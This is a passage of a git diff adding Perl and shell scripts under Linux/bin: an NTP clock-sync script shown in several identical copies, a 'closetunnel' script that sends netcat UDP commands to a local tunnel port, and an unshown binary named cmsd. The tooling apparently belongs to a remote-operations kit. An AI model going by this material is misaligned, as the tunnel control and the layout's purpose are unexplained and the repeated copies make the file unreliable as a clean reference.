(we comma delimit elsewhere) + $ispip =~ s/,/\./g; + $testip =~ s/,/\./g; + mylog("Verified $intf IP=$ispip \n". + #"and pinged testip=$testip:\n". + "(\$intf,\$ispname,\t\$ispip,". +# "\t\$testip,". + "\t\$ispcitystate,\t\$ispphone)=\n". + "($intf,$ispname,\t$ispip,". + #"\t$testip,". + "\t$ispcitystate,\t$ispphone)"); + return ($intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) ; + } + } + }#foreach (@intf) + $wait -= 3; + last unless ($wait > 0); + sleep 3; + } + if ($isdown) { + mylog("confirmed no live ${defintf}[01] interface after isp($action)"); + } else { + mylog("testip=$testip, but could not verify my IP address on (@intf)"); + } + return (); +}#checkppp + +sub myinit { + use File::Basename qw(basename dirname); + require "getopts.pl"; + require Time::Local; + use Socket; + use File::Copy ; + $COLOR_SUCCESS="\033[2;32m"; + $COLOR_FAILURE="\033[2;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + $| = 1; + $opdir = "/current" ; + $opup = "$opdir/up" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $optmp = "$opdir/tmp" ; + chomp($hostname = `hostname`); + $ext = "$$" ; # some uniqueness to me + $gsoptions = "@ARGV" ; + $calledas = "$0 @ARGV"; + $origargs = "@ARGV" ; + $optstr = "hvei:f" ; + mydie("bad option(s)") if (! Getopts( $optstr ) ) ; + $defhowoften = 3; + $howoften = $defhowoften; + $howoften = 0 if $opt_f; + my @tmpntps = @ntptargets; + shift(@tmpntps); + $usagetext = "Usage: $prog [options] + +OPTIONS + +-e Use eth[01] as the interfaces on which to look for a valid + IP address. (NOTE: DNS must work for $prog to work, + unless -i is used.) +-i IP IP address to try first as an NTP server instead of + $ntptarget (still tries named targets if that IP fails). +-f Force $prog to run regardless of last time it ran on + this host. + +If $prog was run on this host less than $defhowoften days ago, it +merely exits, doing nothing. (Use -f to force $prog to execute +regardless of last time it ran.) + +Otherwise, $prog will wait up to ten minutes for a valid $defintf[01] IP +address. Once it sees one, it attempts to set the system clock +via the command: + +\tntpdate $ntptargets[0] + +If that fails, these ntp servers are also tried until one works: +\t@tmpntps + +If ntpdate works, $prog then sets the hwclock to match with: + +\thwclock --systohc + +"; + usage() if ($opt_h or $opt_v); + $defintf = "eth" if ($opt_e); + if ($opt_i) { + mydie("Malformed IP -i $opt_i") + unless ipcheck($opt_i); + unshift @ntptargets,$opt_i; + } + close(STDOUT); + close(STDERR); + fork() and exit; # background self + if (-e "/tmp/clocksync.done") { + $age = -M _; + if ($age < $howoften) { # if under 3 days old skip clocksync entirely + $age = secstostr($age * 24 * 60 * 60); + mydie("Skipping clocksync: done $age ago on this host ( < $howoften days)"); + } + } +}#myinit + + + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + if (@_) { + mylog($what,$color,$color2,$what2); + } + exit 1; +}#mydie + +sub dbg { + mylog("$prog[$$]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL\n") ; +}#dbg + +sub mylog { + my ($pause,$pausecmd)=(""); + my $where = undef; + my $timestamp=""; + $timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP}); + while ( + $_[$#_] =~ /^STD/ or + $_[$#_] =~ /OUT$/ + ) { + $where = pop(@_); + } + #DBG: $where = stderr + $where = STDERR; + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + open(OUT,">> /tmp/clocksync.log") + or mydie("FAILED: Cannot open /tmp/clocksync.log: $!"); + if (lc $what eq "starting" or lc $what eq "init") { + sleep 1; # allows a tail -f to see the first line of file after it echos + # the error: tail: /tmp/clocksync.log: file truncated + } + $where = OUT; + print $where "$timestamp${prog}[$hostname:$$]$what2: $what\n" ; + close(OUT); +}#mylog + + + +sub usage { + if ($nextextfile and $ext and -e $nextextfile) { + my $newfile = $nextextfile; + $newfile =~ s/\.$ext$//; + rename($nextextfile,$newfile); + } + my $output = ""; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ; + $usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ; + $usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong); + $output .= $usagetext unless $opt_v; + $output .= $vertext ; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + print STDOUT $output; + exit; +}#usage +sub dammit { + my $duh = "@_"; + if (open(TMPOUT,">> /tmp/dammit")) { + print TMPOUT "@_\n"; + close(TMPOUT); + } else { + `echo -e "$duh" >> /tmp/dammit`; + } +} + +sub timestamp { + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime(); + $year+=1900; + $mon++; + return sprintf("%4d-%02d-%02d %02d:%02d:%02d ", + $year,$mon,$mday,$hr,$min,$sec); +}#timestamp + +sub ipcheck { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + my $maxval=255; + my $minval=0; + while ($_[$#_] =~ /no/) { + if ($_[$#_] =~ /no255/) { + pop(@_); + $maxval=254; + } + if ($_[$#_] =~ /no0/) { + pop(@_); + $minval=1; + } + } + local($ipstr,$minoctets,$maxoctets) = @_; + $minoctets=abs(int($minoctets)) if defined $minoctets; + $maxoctets=abs(int($maxoctets)) if defined $maxoctets; + unless($minoctets) { + $minoctets=4 ; + } + unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) { + $maxoctets=4; + } + # strip trailing "." if partial IPs allowed + $ipstr =~ s/\.$// if ($maxoctets < 4) ; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if (@octets < $minoctets or @octets > $maxoctets); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >$maxval) + return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval); + # next line allows partial IPs ending in ".", ignore last + return 0 if ($minoctets == 4 and $_ eq ""); + } + return 1; +} #ipcheck + +sub secstostr { + # given seconds returns string in form "[#d][#h][#m]#s" + my ($secs) = (@_); + my $sign = $secs < 0 ? -1 : 1 ; + $secs=abs(int($secs)); + my $d = int($secs/(24*60*60)); + $secs -= $d * (24*60*60); + my $h = int($secs/(60*60)); + $secs -= $h * (60*60); + my $m = int($secs/(60)); + $secs -= $m * (60); + my $s = $secs; + $d = $d ? "${d}d " : ""; + $h = $h ? "${h}h " : ""; + $m = $m ? "${m}m " : ""; + return "$d$h$m${s}s"; +}#secstostr diff --git a/Linux/bin/clocksync.pl.old b/Linux/bin/clocksync.pl.old new file mode 100755 index 0000000..381cee7 --- /dev/null +++ b/Linux/bin/clocksync.pl.old @@ -0,0 +1,379 @@ +#!/usr/bin/env perl +## +$VER = "v1.0.2.2"; +# DEFAULTS +$defintf = "ppp"; +@ntptargets =("us.pool.ntp.org","ch.pool.ntp.org","pool.ntp.org"); +#DEBUG: DBG ONLY, set this to ppp for dialup +myinit() ; +# +mylog("Starting"); +unless (($intf,@rest) = checkppp(240)) { + mylog("No IP address yet on ${defintf}[01] for four minutes. Waiting at most another 6 minutes"); + unless (($intf) = checkppp(360)) { + mydie("ABORTING: CANNOT confirm valid ${defintf}[01] IP address for another six minutes (ten total)"); + } +} +sleep 1; +sleep 3; # add a few more seconds here since we are no longer pinging $testip +my $count=0; +my $result=0; +my ($servername,$server) = (); +while (! $result) { + foreach $ntptarget (@ntptargets) { + my @name_lookup = gethostbyname($ntptarget); + my @ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ]; + if (@ips) { + mylog("$ntptarget resolved to: @ips"); + } else { + mylog("Cannot resolve $ntptarget"); + $result = 1; + } + foreach $ip (@ips) { + `ntpdate -v $ip 2>&1`; + $result = $?; + unless ($result) { + $servername = $ntptarget; + $server = $ip; + last; + } + mylog("ntpdate $ip returned $result"); + } + last unless $result; + } + last unless $result; + $count+=3; + sleep 3; + last if $count > 30; +} + +if ($result) { + mydie("FAILED--exiting"); +} + +$count=0; +$result=0; +while (! `hwclock --systohc`) { + $result = $?; + last unless $result; + $count+=3; + sleep 3; + last if $count > 30; +} + +if ($result) { + mydie("FAILED: ntpdate $ntptarget worked but then hwclock --systohc returned $result"); +} + +# allow time for clock to settle so timestamp in log below is new one +sleep 3; +mylog("Successful ntp connection to $servername/$server"); +unlink("/tmp/clocksync.done"); +copy("/tmp/clocksync.log","/tmp/clocksync.done"); + +sub checkppp { + # Return () if no ppp address, otherwise + # Return ($ispname,$ispip,$testip,$ispcitystate,$ispphone) + local ($wait) = (@_); + my $isdown = ""; + if ($wait eq "down") { + $isdown = $wait; + $wait = 0; + # give interface a couple seconds to drop entirely + sleep 2; + } + my (@intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) = (); + my $intf = $defintf; + $wait = 3 * int($wait / 3); # force a multiple of 3 + my $origwait = $wait; + while ( 1 ) { + $blah=`ps -ef | egrep "setupisp|wvdial.conf" | grep -v grep`; + if ($wait and $blah) { + #TODO: Is this right? Is wvdial gone once we have ppp? + sleep 3 ; + $wait -= 3; + next if $wait; + mylog("ERROR: Unable do detect just dialed ISP for $origwait seconds"); + return (); + } + @intf=($defintf."0",$defintf."1"); + ($testip) = `route -n` =~ /\n\s*0.0.0.0\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + $testip = "" if ($testip eq "0.0.0.0"); + unless ($testip) { + my @lines = grep { "^nameserver" } `cat /etc/resolv.conf`; + ($testip) = $lines[0] =~ / (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + } + foreach $intf (@intf) { + my $ifconfig = `ifconfig $intf 2>&1`; + my ($ispip) = $ifconfig =~ /inet addr:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + # If nothing else we ping our own IP as a test + $testip = $ispip unless $testip; + $testip = $ispip; + if ($ispip) { +# my ($loss) = `ping -nc1 $testip 2>&1` =~ /\s(\d+)\% .*loss/; + $loss = 0 ; + if (length($loss) and $loss == 0) { + my $ispinfo = "/tmp/isp_info"; + if (-M $ispinfo > 0) { + mylog("$ispinfo timestamp seems too old for a new dial? Using it anyway...") + } + ($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911"); + if (open(TMPIN,"$ispinfo")) { + chomp($ispname = ); + $ispname =~ s/,/\./g; + chomp($ispcitystate = ); + unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) { + chomp(my $ispstate = ); + $ispcitystate .= " $ispstate"; + } + $ispcitystate =~ s/,//g; + chomp($ispphone = ); + $ispphone =~ s/,//g; + close(TMPIN); + } + # Ensure none of these entries have commas (we comma delimit elsewhere) + $ispip =~ s/,/\./g; + $testip =~ s/,/\./g; + mylog("Verified $intf IP=$ispip \n". + #"and pinged testip=$testip:\n". + "(\$intf,\$ispname,\t\$ispip,". +# "\t\$testip,". + "\t\$ispcitystate,\t\$ispphone)=\n". + "($intf,$ispname,\t$ispip,". + #"\t$testip,". + "\t$ispcitystate,\t$ispphone)"); + return ($intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) ; + } + } + }#foreach (@intf) + $wait -= 3; + last unless ($wait > 0); + sleep 3; + } + if ($isdown) { + mylog("confirmed no live ${defintf}[01] interface after isp($action)"); + } else { + mylog("testip=$testip, but could not verify my IP address on (@intf)"); + } + return (); +}#checkppp + +sub myinit { + use File::Basename qw(basename dirname); + require "getopts.pl"; + require Time::Local; + use Socket; + use File::Copy ; + $COLOR_SUCCESS="\033[2;32m"; + $COLOR_FAILURE="\033[2;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + $| = 1; + $opdir = "/current" ; + $opup = "$opdir/up" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $optmp = "$opdir/tmp" ; + chomp($hostname = `hostname`); + $ext = "$$" ; # some uniqueness to me + $gsoptions = "@ARGV" ; + $calledas = "$0 @ARGV"; + $origargs = "@ARGV" ; + $optstr = "hvei:f" ; + mydie("bad option(s)") if (! Getopts( $optstr ) ) ; + $defhowoften = 3; + $howoften = $defhowoften; + $howoften = 0 if $opt_f; + my @tmpntps = @ntptargets; + shift(@tmpntps); + $usagetext = "Usage: $prog [options] + +OPTIONS + +-e Use eth[01] as the interfaces on which to look for a valid + IP address. (NOTE: DNS must work for $prog to work, + unless -i is used.) +-i IP IP address to try first as an NTP server instead of + $ntptarget (still tries named targets if that IP fails). +-f Force $prog to run regardless of last time it ran on + this host. + +If $prog was run on this host less than $defhowoften days ago, it +merely exits, doing nothing. (Use -f to force $prog to execute +regardless of last time it ran.) + +Otherwise, $prog will wait up to ten minutes for a valid $defintf[01] IP +address. Once it sees one, it attempts to set the system clock +via the command: + +\tntpdate $ntptargets[0] + +If that fails, these ntp servers are also tried until one works: +\t@tmpntps + +If ntpdate works, $prog then sets the hwclock to match with: + +\thwclock --systohc + +"; + usage() if ($opt_h or $opt_v); + $defintf = "eth" if ($opt_e); + if ($opt_i) { + mydie("Malformed IP -i $opt_i") + unless ipcheck($opt_i); + unshift @ntptargets,$opt_i; + } + close(STDOUT); + close(STDERR); + fork() and exit; # background self + if (-e "/tmp/clocksync.done") { + $age = -M _; + if ($age < $howoften) { # if under 3 days old skip clocksync entirely + $age = secstostr($age * 24 * 60 * 60); + mydie("Skipping clocksync: done $age ago on this host ( < $howoften days)"); + } + } +}#myinit + + + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + if (@_) { + mylog($what,$color,$color2,$what2); + } + exit 1; +}#mydie + +sub dbg { + mylog("$prog[$$]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL\n") ; +}#dbg + +sub mylog { + my ($pause,$pausecmd)=(""); + my $where = undef; + my $timestamp=""; + $timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP}); + while ( + $_[$#_] =~ /^STD/ or + $_[$#_] =~ /OUT$/ + ) { + $where = pop(@_); + } + #DBG: $where = stderr + $where = STDERR; + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + open(OUT,">> /tmp/clocksync.log") + or mydie("FAILED: Cannot open /tmp/clocksync.log: $!"); + if (lc $what eq "starting" or lc $what eq "init") { + sleep 1; # allows a tail -f to see the first line of file after it echos + # the error: tail: /tmp/clocksync.log: file truncated + } + $where = OUT; + print $where "$timestamp${prog}[$hostname:$$]$what2: $what\n" ; + close(OUT); +}#mylog + + + +sub usage { + if ($nextextfile and $ext and -e $nextextfile) { + my $newfile = $nextextfile; + $newfile =~ s/\.$ext$//; + rename($nextextfile,$newfile); + } + my $output = ""; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ; + $usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ; + $usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong); + $output .= $usagetext unless $opt_v; + $output .= $vertext ; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + print STDOUT $output; + exit; +}#usage +sub dammit { + my $duh = "@_"; + if (open(TMPOUT,">> /tmp/dammit")) { + print TMPOUT "@_\n"; + close(TMPOUT); + } else { + `echo -e "$duh" >> /tmp/dammit`; + } +} + +sub timestamp { + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime(); + $year+=1900; + $mon++; + return sprintf("%4d-%02d-%02d %02d:%02d:%02d ", + $year,$mon,$mday,$hr,$min,$sec); +}#timestamp + +sub ipcheck { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + my $maxval=255; + my $minval=0; + while ($_[$#_] =~ /no/) { + if ($_[$#_] =~ /no255/) { + pop(@_); + $maxval=254; + } + if ($_[$#_] =~ /no0/) { + pop(@_); + $minval=1; + } + } + local($ipstr,$minoctets,$maxoctets) = @_; + $minoctets=abs(int($minoctets)) if defined $minoctets; + $maxoctets=abs(int($maxoctets)) if defined $maxoctets; + unless($minoctets) { + $minoctets=4 ; + } + unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) { + $maxoctets=4; + } + # strip trailing "." if partial IPs allowed + $ipstr =~ s/\.$// if ($maxoctets < 4) ; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if (@octets < $minoctets or @octets > $maxoctets); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >$maxval) + return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval); + # next line allows partial IPs ending in ".", ignore last + return 0 if ($minoctets == 4 and $_ eq ""); + } + return 1; +} #ipcheck + +sub secstostr { + # given seconds returns string in form "[#d][#h][#m]#s" + my ($secs) = (@_); + my $sign = $secs < 0 ? -1 : 1 ; + $secs=abs(int($secs)); + my $d = int($secs/(24*60*60)); + $secs -= $d * (24*60*60); + my $h = int($secs/(60*60)); + $secs -= $h * (60*60); + my $m = int($secs/(60)); + $secs -= $m * (60); + my $s = $secs; + $d = $d ? "${d}d " : ""; + $h = $h ? "${h}h " : ""; + $m = $m ? "${m}m " : ""; + return "$d$h$m${s}s"; +}#secstostr diff --git a/Linux/bin/clocksync.pl.old1 b/Linux/bin/clocksync.pl.old1 new file mode 100755 index 0000000..381cee7 --- /dev/null +++ b/Linux/bin/clocksync.pl.old1 @@ -0,0 +1,379 @@ +#!/usr/bin/env perl +## +$VER = "v1.0.2.2"; +# DEFAULTS +$defintf = "ppp"; +@ntptargets =("us.pool.ntp.org","ch.pool.ntp.org","pool.ntp.org"); +#DEBUG: DBG ONLY, set this to ppp for dialup +myinit() ; +# +mylog("Starting"); +unless (($intf,@rest) = checkppp(240)) { + mylog("No IP address yet on ${defintf}[01] for four minutes. Waiting at most another 6 minutes"); + unless (($intf) = checkppp(360)) { + mydie("ABORTING: CANNOT confirm valid ${defintf}[01] IP address for another six minutes (ten total)"); + } +} +sleep 1; +sleep 3; # add a few more seconds here since we are no longer pinging $testip +my $count=0; +my $result=0; +my ($servername,$server) = (); +while (! $result) { + foreach $ntptarget (@ntptargets) { + my @name_lookup = gethostbyname($ntptarget); + my @ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ]; + if (@ips) { + mylog("$ntptarget resolved to: @ips"); + } else { + mylog("Cannot resolve $ntptarget"); + $result = 1; + } + foreach $ip (@ips) { + `ntpdate -v $ip 2>&1`; + $result = $?; + unless ($result) { + $servername = $ntptarget; + $server = $ip; + last; + } + mylog("ntpdate $ip returned $result"); + } + last unless $result; + } + last unless $result; + $count+=3; + sleep 3; + last if $count > 30; +} + +if ($result) { + mydie("FAILED--exiting"); +} + +$count=0; +$result=0; +while (! `hwclock --systohc`) { + $result = $?; + last unless $result; + $count+=3; + sleep 3; + last if $count > 30; +} + +if ($result) { + mydie("FAILED: ntpdate $ntptarget worked but then hwclock --systohc returned $result"); +} + +# allow time for clock to settle so timestamp in log below is new one +sleep 3; +mylog("Successful ntp connection to $servername/$server"); +unlink("/tmp/clocksync.done"); +copy("/tmp/clocksync.log","/tmp/clocksync.done"); + +sub checkppp { + # Return () if no ppp address, otherwise + # Return ($ispname,$ispip,$testip,$ispcitystate,$ispphone) + local ($wait) = (@_); + my $isdown = ""; + if ($wait eq "down") { + $isdown = $wait; + $wait = 0; + # give interface a couple seconds to drop entirely + sleep 2; + } + my (@intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) = (); + my $intf = $defintf; + $wait = 3 * int($wait / 3); # force a multiple of 3 + my $origwait = $wait; + while ( 1 ) { + $blah=`ps -ef | egrep "setupisp|wvdial.conf" | grep -v grep`; + if ($wait and $blah) { + #TODO: Is this right? Is wvdial gone once we have ppp? + sleep 3 ; + $wait -= 3; + next if $wait; + mylog("ERROR: Unable do detect just dialed ISP for $origwait seconds"); + return (); + } + @intf=($defintf."0",$defintf."1"); + ($testip) = `route -n` =~ /\n\s*0.0.0.0\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + $testip = "" if ($testip eq "0.0.0.0"); + unless ($testip) { + my @lines = grep { "^nameserver" } `cat /etc/resolv.conf`; + ($testip) = $lines[0] =~ / (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + } + foreach $intf (@intf) { + my $ifconfig = `ifconfig $intf 2>&1`; + my ($ispip) = $ifconfig =~ /inet addr:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + # If nothing else we ping our own IP as a test + $testip = $ispip unless $testip; + $testip = $ispip; + if ($ispip) { +# my ($loss) = `ping -nc1 $testip 2>&1` =~ /\s(\d+)\% .*loss/; + $loss = 0 ; + if (length($loss) and $loss == 0) { + my $ispinfo = "/tmp/isp_info"; + if (-M $ispinfo > 0) { + mylog("$ispinfo timestamp seems too old for a new dial? Using it anyway...") + } + ($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911"); + if (open(TMPIN,"$ispinfo")) { + chomp($ispname = ); + $ispname =~ s/,/\./g; + chomp($ispcitystate = ); + unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) { + chomp(my $ispstate = ); + $ispcitystate .= " $ispstate"; + } + $ispcitystate =~ s/,//g; + chomp($ispphone = ); + $ispphone =~ s/,//g; + close(TMPIN); + } + # Ensure none of these entries have commas (we comma delimit elsewhere) + $ispip =~ s/,/\./g; + $testip =~ s/,/\./g; + mylog("Verified $intf IP=$ispip \n". + #"and pinged testip=$testip:\n". + "(\$intf,\$ispname,\t\$ispip,". +# "\t\$testip,". + "\t\$ispcitystate,\t\$ispphone)=\n". + "($intf,$ispname,\t$ispip,". + #"\t$testip,". + "\t$ispcitystate,\t$ispphone)"); + return ($intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) ; + } + } + }#foreach (@intf) + $wait -= 3; + last unless ($wait > 0); + sleep 3; + } + if ($isdown) { + mylog("confirmed no live ${defintf}[01] interface after isp($action)"); + } else { + mylog("testip=$testip, but could not verify my IP address on (@intf)"); + } + return (); +}#checkppp + +sub myinit { + use File::Basename qw(basename dirname); + require "getopts.pl"; + require Time::Local; + use Socket; + use File::Copy ; + $COLOR_SUCCESS="\033[2;32m"; + $COLOR_FAILURE="\033[2;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + $| = 1; + $opdir = "/current" ; + $opup = "$opdir/up" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $optmp = "$opdir/tmp" ; + chomp($hostname = `hostname`); + $ext = "$$" ; # some uniqueness to me + $gsoptions = "@ARGV" ; + $calledas = "$0 @ARGV"; + $origargs = "@ARGV" ; + $optstr = "hvei:f" ; + mydie("bad option(s)") if (! Getopts( $optstr ) ) ; + $defhowoften = 3; + $howoften = $defhowoften; + $howoften = 0 if $opt_f; + my @tmpntps = @ntptargets; + shift(@tmpntps); + $usagetext = "Usage: $prog [options] + +OPTIONS + +-e Use eth[01] as the interfaces on which to look for a valid + IP address. (NOTE: DNS must work for $prog to work, + unless -i is used.) +-i IP IP address to try first as an NTP server instead of + $ntptarget (still tries named targets if that IP fails). +-f Force $prog to run regardless of last time it ran on + this host. + +If $prog was run on this host less than $defhowoften days ago, it +merely exits, doing nothing. (Use -f to force $prog to execute +regardless of last time it ran.) + +Otherwise, $prog will wait up to ten minutes for a valid $defintf[01] IP +address. Once it sees one, it attempts to set the system clock +via the command: + +\tntpdate $ntptargets[0] + +If that fails, these ntp servers are also tried until one works: +\t@tmpntps + +If ntpdate works, $prog then sets the hwclock to match with: + +\thwclock --systohc + +"; + usage() if ($opt_h or $opt_v); + $defintf = "eth" if ($opt_e); + if ($opt_i) { + mydie("Malformed IP -i $opt_i") + unless ipcheck($opt_i); + unshift @ntptargets,$opt_i; + } + close(STDOUT); + close(STDERR); + fork() and exit; # background self + if (-e "/tmp/clocksync.done") { + $age = -M _; + if ($age < $howoften) { # if under 3 days old skip clocksync entirely + $age = secstostr($age * 24 * 60 * 60); + mydie("Skipping clocksync: done $age ago on this host ( < $howoften days)"); + } + } +}#myinit + + + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + if (@_) { + mylog($what,$color,$color2,$what2); + } + exit 1; +}#mydie + +sub dbg { + mylog("$prog[$$]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL\n") ; +}#dbg + +sub mylog { + my ($pause,$pausecmd)=(""); + my $where = undef; + my $timestamp=""; + $timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP}); + while ( + $_[$#_] =~ /^STD/ or + $_[$#_] =~ /OUT$/ + ) { + $where = pop(@_); + } + #DBG: $where = stderr + $where = STDERR; + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + open(OUT,">> /tmp/clocksync.log") + or mydie("FAILED: Cannot open /tmp/clocksync.log: $!"); + if (lc $what eq "starting" or lc $what eq "init") { + sleep 1; # allows a tail -f to see the first line of file after it echos + # the error: tail: /tmp/clocksync.log: file truncated + } + $where = OUT; + print $where "$timestamp${prog}[$hostname:$$]$what2: $what\n" ; + close(OUT); +}#mylog + + + +sub usage { + if ($nextextfile and $ext and -e $nextextfile) { + my $newfile = $nextextfile; + $newfile =~ s/\.$ext$//; + rename($nextextfile,$newfile); + } + my $output = ""; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ; + $usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ; + $usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong); + $output .= $usagetext unless $opt_v; + $output .= $vertext ; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + print STDOUT $output; + exit; +}#usage +sub dammit { + my $duh = "@_"; + if (open(TMPOUT,">> /tmp/dammit")) { + print TMPOUT "@_\n"; + close(TMPOUT); + } else { + `echo -e "$duh" >> /tmp/dammit`; + } +} + +sub timestamp { + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime(); + $year+=1900; + $mon++; + return sprintf("%4d-%02d-%02d %02d:%02d:%02d ", + $year,$mon,$mday,$hr,$min,$sec); +}#timestamp + +sub ipcheck { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + my $maxval=255; + my $minval=0; + while ($_[$#_] =~ /no/) { + if ($_[$#_] =~ /no255/) { + pop(@_); + $maxval=254; + } + if ($_[$#_] =~ /no0/) { + pop(@_); + $minval=1; + } + } + local($ipstr,$minoctets,$maxoctets) = @_; + $minoctets=abs(int($minoctets)) if defined $minoctets; + $maxoctets=abs(int($maxoctets)) if defined $maxoctets; + unless($minoctets) { + $minoctets=4 ; + } + unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) { + $maxoctets=4; + } + # strip trailing "." if partial IPs allowed + $ipstr =~ s/\.$// if ($maxoctets < 4) ; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if (@octets < $minoctets or @octets > $maxoctets); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >$maxval) + return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval); + # next line allows partial IPs ending in ".", ignore last + return 0 if ($minoctets == 4 and $_ eq ""); + } + return 1; +} #ipcheck + +sub secstostr { + # given seconds returns string in form "[#d][#h][#m]#s" + my ($secs) = (@_); + my $sign = $secs < 0 ? -1 : 1 ; + $secs=abs(int($secs)); + my $d = int($secs/(24*60*60)); + $secs -= $d * (24*60*60); + my $h = int($secs/(60*60)); + $secs -= $h * (60*60); + my $m = int($secs/(60)); + $secs -= $m * (60); + my $s = $secs; + $d = $d ? "${d}d " : ""; + $h = $h ? "${h}h " : ""; + $m = $m ? "${m}m " : ""; + return "$d$h$m${s}s"; +}#secstostr diff --git a/Linux/bin/closetunnel b/Linux/bin/closetunnel new file mode 100755 index 0000000..14129cf --- /dev/null +++ b/Linux/bin/closetunnel @@ -0,0 +1,9 @@ +#!/bin/sh +[ "$PORT" ] || PORT=$1 +[ "$PORT" ] || PORT=`cat /current/bin/.tunnelport` +[ "$PORT" ] || PORT=18787 +echo 'echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1' $PORT +echo 'echo "q" | nc -w1 -u 127.0.0.1' $PORT +echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1 $PORT +echo "q" | nc -w1 -u 127.0.0.1 $PORT +echo "q" | nc -w1 -u 127.0.0.1 $PORT diff --git a/Linux/bin/cmsd b/Linux/bin/cmsd new file mode 100755 index 0000000..82f7777 Binary files /dev/null and b/Linux/bin/cmsd differ diff --git 